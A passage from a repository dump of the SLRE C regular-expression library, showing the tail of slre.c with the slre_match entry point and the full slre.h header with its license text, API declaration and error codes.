info->brackets[ind].ptr); 411 | DBG(("SETTING BRACKET %d [%.*s]\n", 412 | ind, info->brackets[ind].len, info->brackets[ind].ptr)); 413 | depth--; 414 | FAIL_IF(depth < 0, SLRE_UNBALANCED_BRACKETS); 415 | FAIL_IF(i > 0 && re[i - 1] == '(', SLRE_NO_MATCH); 416 | } 417 | } 418 | 419 | FAIL_IF(depth != 0, SLRE_UNBALANCED_BRACKETS); 420 | setup_branch_points(info); 421 | 422 | return baz(s, s_len, info); 423 | } 424 | 425 | int slre_match(const char *regexp, const char *s, int s_len, 426 | struct slre_cap *caps, int num_caps, int flags) { 427 | struct regex_info info; 428 | 429 | /* Initialize info structure */ 430 | info.flags = flags; 431 | info.num_brackets = info.num_branches = 0; 432 | info.num_caps = num_caps; 433 | info.caps = caps; 434 | 435 | DBG(("========================> [%s] [%.*s]\n", regexp, s_len, s)); 436 | return foo(regexp, (int) strlen(regexp), s, s_len, &info); 437 | } 438 | -------------------------------------------------------------------------------- /src/slre.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2004-2013 Sergey Lyubka 3 | * Copyright (c) 2013 Cesanta Software Limited 4 | * All rights reserved 5 | * 6 | * This library is dual-licensed: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License version 2 as 8 | * published by the Free Software Foundation. For the terms of this 9 | * license, see . 10 | * 11 | * You are free to use this library under the terms of the GNU General 12 | * Public License, but WITHOUT ANY WARRANTY; without even the implied 13 | * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 14 | * See the GNU General Public License for more details. 15 | * 16 | * Alternatively, you can license this library under a commercial 17 | * license, as set out in . 18 | */ 19 | 20 | /* 21 | * This is a regular expression library that implements a subset of Perl RE. 22 | * Please refer to README.md for a detailed reference. 23 | */ 24 | 25 | #ifndef SLRE_HEADER_DEFINED 26 | #define SLRE_HEADER_DEFINED 27 | 28 | #ifdef __cplusplus 29 | extern "C" { 30 | #endif 31 | 32 | struct slre_cap { 33 | const char *ptr; 34 | int len; 35 | }; 36 | 37 | 38 | int slre_match(const char *regexp, const char *buf, int buf_len, 39 | struct slre_cap *caps, int num_caps, int flags); 40 | 41 | /* Possible flags for slre_match() */ 42 | enum { SLRE_IGNORE_CASE = 1 }; 43 | 44 | 45 | /* slre_match() failure codes */ 46 | #define SLRE_NO_MATCH -1 47 | #define SLRE_UNEXPECTED_QUANTIFIER -2 48 | #define SLRE_UNBALANCED_BRACKETS -3 49 | #define SLRE_INTERNAL_ERROR -4 50 | #define SLRE_INVALID_CHARACTER_SET -5 51 | #define SLRE_INVALID_METACHARACTER -6 52 | #define SLRE_CAPS_ARRAY_TOO_SMALL -7 53 | #define SLRE_TOO_MANY_BRANCHES -8 54 | #define SLRE_TOO_MANY_BRACKETS -9 55 | 56 | #ifdef __cplusplus 57 | } 58 | #endif 59 | 60 | #endif /* SLRE_HEADER_DEFINED */ 61 | --------------------------------------------------------------------------------